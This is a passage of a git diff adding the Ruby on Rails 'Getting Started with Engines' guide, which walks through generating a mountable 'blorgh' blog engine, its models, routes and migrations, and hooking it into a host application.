+      url: upgrading_ruby_on_rails.html
+      description: This guide helps in upgrading applications to latest Ruby on Rails versions.
+    -
+      name: Ruby on Rails 5.1 Release Notes
+      url: 5_1_release_notes.html
+      description: Release notes for Rails 5.1.
+    -
+      name: Ruby on Rails 5.0 Release Notes
+      url: 5_0_release_notes.html
+      description: Release notes for Rails 5.0.
+    -
+      name: Ruby on Rails 4.2 Release Notes
+      url: 4_2_release_notes.html
+      description: Release notes for Rails 4.2.
+    -
+      name: Ruby on Rails 4.1 Release Notes
+      url: 4_1_release_notes.html
+      description: Release notes for Rails 4.1.
+    -
+      name: Ruby on Rails 4.0 Release Notes
+      url: 4_0_release_notes.html
+      description: Release notes for Rails 4.0.
+    -
+      name: Ruby on Rails 3.2 Release Notes
+      url: 3_2_release_notes.html
+      description: Release notes for Rails 3.2.
+    -
+      name: Ruby on Rails 3.1 Release Notes
+      url: 3_1_release_notes.html
+      description: Release notes for Rails 3.1.
+    -
+      name: Ruby on Rails 3.0 Release Notes
+      url: 3_0_release_notes.html
+      description: Release notes for Rails 3.0.
+    -
+      name: Ruby on Rails 2.3 Release Notes
+      url: 2_3_release_notes.html
+      description: Release notes for Rails 2.3.
+    -
+      name: Ruby on Rails 2.2 Release Notes
+      url: 2_2_release_notes.html
+      description: Release notes for Rails 2.2.
diff --git a/guides/source/engines.md b/guides/source/engines.md
new file mode 100644
index 0000000000..2276f348a1
--- /dev/null
+++ b/guides/source/engines.md
@@ -0,0 +1,1524 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Getting Started with Engines
+============================
+
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
+
+After reading this guide, you will know:
+
+* What makes an engine.
+* How to generate an engine.
+* How to build features for the engine.
+* How to hook the engine into an application.
+* How to override engine functionality in the application.
+* Avoid loading Rails frameworks with Load and Configuration Hooks
+
+--------------------------------------------------------------------------------
+
+What are engines?
+-----------------
+
+Engines can be considered miniature applications that provide functionality to
+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of as almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). We'll actually be using the `--mountable` option here, which includes
+all the features of `--full`, and then some. This guide will refer to these
+"full plugins" simply as "engines" throughout. An engine **can** be a plugin,
+and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". This
+engine will provide blogging functionality to its host applications, allowing
+for new articles and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`articles_path` and use an engine that also provides a path also called
+`articles_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in its environment. The engine should
+only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Thredded](https://github.com/thredded/thredded), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
+
+Generating an engine
+--------------------
+
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
+
+```bash
+$ rails plugin new blorgh --mountable
+```
+
+The full list of options for the plugin generator may be seen by typing:
+
+```bash
+$ rails plugin --help
+```
+
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option. The `--full` option tells the
+generator that you want to create an engine, including a skeleton structure
+that provides the following:
+
+  * An `app` directory tree
+  * A `config/routes.rb` file:
+
+    ```ruby
+    Rails.application.routes.draw do
+    end
+    ```
+
+  * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+    standard Rails application's `config/application.rb` file:
+
+    ```ruby
+    module Blorgh
+      class Engine < ::Rails::Engine
+      end
+    end
+    ```
+
+The `--mountable` option will add to the `--full` option:
+
+  * Asset manifest files (`application.js` and `application.css`)
+  * A namespaced `ApplicationController` stub
+  * A namespaced `ApplicationHelper` stub
+  * A layout view template for the engine
+  * Namespace isolation to `config/routes.rb`:
+
+    ```ruby
+    Blorgh::Engine.routes.draw do
+    end
+    ```
+
+  * Namespace isolation to `lib/blorgh/engine.rb`:
+
+    ```ruby
+    module Blorgh
+      class Engine < ::Rails::Engine
+        isolate_namespace Blorgh
+      end
+    end
+    ```
+
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
+
+```ruby
+mount Blorgh::Engine => "/blorgh"
+```
+
+### Inside an Engine
+
+#### Critical Files
+
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
+
+```ruby
+gem 'blorgh', path: 'engines/blorgh'
+```
+
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
+
+```ruby
+require "blorgh/engine"
+
+module Blorgh
+end
+```
+
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within `lib/blorgh/engine.rb` is the base class for the engine:
+
+```ruby
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+```
+
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers, and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call
+to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but
+instead be namespaced and called `Blorgh::Article`. In addition, the table for the
+model is namespaced, becoming `blorgh_articles`, rather than simply `articles`.
+Similar to the model namespacing, a controller called `ArticlesController` becomes
+`Blorgh::ArticlesController` and the views for that controller will not be at
+`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+NOTE: Because of the way that Ruby does constant lookup you may run into a situation
+where your engine controller is inheriting from the main application controller and
+not your engine's application controller. Ruby is able to resolve the `ApplicationController` constant, and therefore the autoloading mechanism is not triggered. See the section [When Constants Aren't Missed](autoloading_and_reloading_constants.html#when-constants-aren-t-missed) of the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) guide for further details. The best way to prevent this from
+happening is to use `require_dependency` to ensure that the engine's application
+controller is loaded. For example:
+
+``` ruby
+# app/controllers/blorgh/articles_controller.rb:
+require_dependency "blorgh/application_controller"
+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+```
+
+WARNING: Don't use `require` because it will break the automatic reloading of classes
+in the development environment - using `require_dependency` ensures that classes are
+loaded and unloaded in the correct manner.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
+
+```bash
+$ bin/rails g model
+```
+
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
+
+#### `test` Directory
+
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
+
+```ruby
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+```
+
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
+
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
+
+Providing engine functionality
+------------------------------
+
+The engine that this guide covers provides submitting articles and commenting
+functionality and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
+
+### Generating an Article Resource
+
+The first thing to generate for a blog engine is the `Article` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
+
+```bash
+$ bin/rails generate scaffold article title:string text:text
+```
+
+This command will output this information:
+
+```
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    app/models/blorgh/article.rb
+invoke    test_unit
+create      test/models/blorgh/article_test.rb
+create      test/fixtures/blorgh/articles.yml
+invoke  resource_route
+ route    resources :articles
+invoke  scaffold_controller
+create    app/controllers/blorgh/articles_controller.rb
+invoke    erb
+create      app/views/blorgh/articles
+create      app/views/blorgh/articles/index.html.erb
+create      app/views/blorgh/articles/edit.html.erb
+create      app/views/blorgh/articles/show.html.erb
+create      app/views/blorgh/articles/new.html.erb
+create      app/views/blorgh/articles/_form.html.erb
+invoke    test_unit
+create      test/controllers/blorgh/articles_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/articles_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/articles.js
+invoke    css
+create      app/assets/stylesheets/blorgh/articles.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+```
+
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_articles` rather than the
+usual `create_articles`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due
+to the `isolate_namespace` call within the `Engine` class.
+
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/article_test.rb` (rather than
+`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml`
+(rather than `test/fixtures/articles.yml`).
+
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :articles`, turning the
+`config/routes.rb` file for the engine into this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+```
+
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
+
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::ArticlesController` (at
+`app/controllers/blorgh/articles_controller.rb`) and its related views at
+`app/views/blorgh/articles`. This generator also generates a test for the
+controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper
+(`app/helpers/blorgh/articles_helper.rb`).
+
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
+
+```ruby
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+```
+
+NOTE: The `ArticlesController` class inherits from
+`Blorgh::ApplicationController`, not the application's `ApplicationController`.
+
+The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced:
+
+```ruby
+module Blorgh
+  module ArticlesHelper
+    ...
+  end
+end
+```
+
+This helps prevent conflicts with any other engine or application that may have
+an article resource as well.
+
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/articles.js` and
+`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little
+later.
+
+You can see what the engine has so far by running `bin/rails db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/articles` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
+
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Article` model is namespaced, so to
+reference it you must call it as `Blorgh::Article`.
+
+```ruby
+>> Blorgh::Article.find(1)
+=> #<Blorgh::Article id: 1 ...>
+```
+
+One final thing is that the `articles` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of articles. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
+
+```ruby
+root to: "articles#index"
+```
+
+Now people will only need to go to the root of the engine to see all the articles,
+rather than visiting `/articles`. This means that instead of
+`http://localhost:3000/blorgh/articles`, you only need to go to
+`http://localhost:3000/blorgh` now.
+
+### Generating a Comments Resource
+
+Now that the engine can create new articles, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the articles scaffold to display
+comments and allow people to create new ones.
+
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: an `article_id` integer
+and `text` text column.
+
+```bash
+$ bin/rails generate model Comment article_id:integer text:text
+```
+
+This will output the following:
+
+```
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/models/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+```
+
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
+
+```bash
+$ bin/rails db:migrate
+```
+
+To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and
+add this line before the "Edit" link:
+
+```html+erb
+<h3>Comments</h3>
+<%= render @article.comments %>
+```
+
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Article` model, which there isn't right now. To define one, open
+`app/models/blorgh/article.rb` and add this line into the model:
+
+```ruby
+has_many :comments
+```
+
+Turning the model into this:
+
+```ruby
+module Blorgh
+  class Article < ApplicationRecord
+    has_many :comments
+  end
+end
+```
+
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
+
+Next, there needs to be a form so that comments can be created on an article. To
+add this, put this line underneath the call to `render @article.comments` in
+`app/views/blorgh/articles/show.html.erb`:
+
+```erb
+<%= render "blorgh/comments/form" %>
+```
+
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
+
+```html+erb
+<h3>New comment</h3>
+<%= form_for [@article, @article.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+```
+
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/articles/:article_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :articles` line
+inside `config/routes.rb` into these lines:
+
+```ruby
+resources :articles do
+  resources :comments
+end
+```
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
+
+```bash
+$ bin/rails g controller comments
+```
+
+This will generate the following things:
+
+```
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/controllers/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+```
+
+The form will be making a `POST` request to `/articles/:article_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+
+```ruby
+def create
+  @article = Article.find(params[:article_id])
+  @comment = @article.comments.create(comment_params)
+  flash[:notice] = "Comment has been created!"
+  redirect_to articles_path
+end
+
+private
+  def comment_params
+    params.require(:comment).permit(:text)
+  end
+```
+
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
+
+```
+Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/_comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
+
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
+
+```erb
+<%= comment_counter + 1 %>. <%= comment.text %>
+```
+
+The `comment_counter` local variable is given to us by the `<%= render
+@article.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
+
+Hooking Into an Application
+---------------------------
+
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for articles and comments within the engine.
+
+### Mounting the Engine
+
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
+
+```bash
+$ rails new unicorn
+```
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
+
+```ruby
+gem 'devise'
+```
+
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
+
+```ruby
+gem 'blorgh', path: 'engines/blorgh'
+```
+
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
+
+```ruby
+mount Blorgh::Engine, at: "/blog"
+```
+
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
+
+### Engine setup
+
+The engine contains migrations for the `blorgh_articles` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application run the following command from the `test/dummy` directory of your Rails engine:
+
+```bash
+$ bin/rails blorgh:install:migrations
+```
+
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
+
+```bash
+$ bin/rails railties:install:migrations
+```
+
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
+
+```bash
+Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh
+```
+
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
+
+To run these migrations within the context of the application, simply run `bin/rails
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+articles will be empty. This is because the table created inside the application is
+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
+
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
+
+```bash
+bin/rails db:migrate SCOPE=blorgh
+```
+
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
+
+```bash
+bin/rails db:migrate SCOPE=blorgh VERSION=0
+```
+
+### Using a Class Provided by the Application
+
+#### Using a Model Provided by the Application
+
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making articles and comments
+have authors would make a lot of sense.
+
+A typical application might have a `User` class that would be used to represent
+authors for an article or a comment. But there could be a case where the
+application calls this class something different, such as `Person`. For this
+reason, the engine should not hardcode associations specifically for a `User`
+class.
+
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application (we'll get into making this
+configurable further on). It can be generated using this command inside the
+application:
+
+```bash
+rails g model user name:string
+```
+
+The `bin/rails db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
+
+Also, to keep it simple, the articles form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the article with the found or
+created `User` object.
+
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
+
+```html+erb
+<div class="field">
+  <%= f.label :author_name %><br>
+  <%= f.text_field :author_name %>
+</div>
+```
+
+Next, we need to update our `Blorgh::ArticleController#article_params` method to
+permit the new form parameter:
+
+```ruby
+def article_params
+  params.require(:article).permit(:title, :text, :author_name)
+end
+```
+
+The `Blorgh::Article` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that article's `author`
+before the article is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_validation` call into
+`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
+
+```ruby
+attr_accessor :author_name
+belongs_to :author, class_name: "User"
+
+before_validation :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by(name: author_name)
+  end
+```
+
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_articles` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_articles` table.
+
+To generate this new column, run this command within the engine:
+
+```bash
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+```
+
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
+
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
+
+```bash
+$ bin/rails blorgh:install:migrations
+```
+
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
+
+```
+NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
+```
+
+Run the migration using:
+
+```bash
+$ bin/rails db:migrate
+```
+
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with an article,
+represented by the `blorgh_articles` table from the engine.
+
+Finally, the author's name should be displayed on the article's page. Add this code
+above the "Title" output inside `app/views/blorgh/articles/show.html.erb`:
+
+```html+erb
+<p>
+  <b>Author:</b>
+  <%= @article.author.name %>
+</p>
+```
+
+#### Using a Controller Provided by the Application
+
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
+
+```ruby
+module Blorgh
+  class ApplicationController < ::ApplicationController
+  end
+end
+```
+
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
+
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
+
+### Configuring an Engine
+
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
+
+#### Setting Configuration Settings in the Application
+
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
+
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
+
+```ruby
+mattr_accessor :author_class
+```
+
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
+
+The next step is to switch the `Blorgh::Article` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/article.rb`) to this:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class
+```
+
+The `set_author` method in the `Blorgh::Article` model should also use this class:
+
+```ruby
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+```
+
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
+
+```ruby
+def self.author_class
+  @@author_class.constantize
+end
+```
+
+This would then turn the above code for `set_author` into this:
+
+```ruby
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
+```
+
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
+
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article`
+model:
+
+```ruby
+belongs_to :author, class_name: Blorgh.author_class.to_s
+```
+
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
+
+```ruby
+Blorgh.author_class = "User"
+```
+
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
+
+Go ahead and try to create a new article. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with an article when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
+
+#### General Engine Configuration
+
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
+
+If you wish to use an initializer - code that should run before the engine is
+loaded - the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
+
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
+
+Testing an engine
+-----------------
+
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
+
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
+
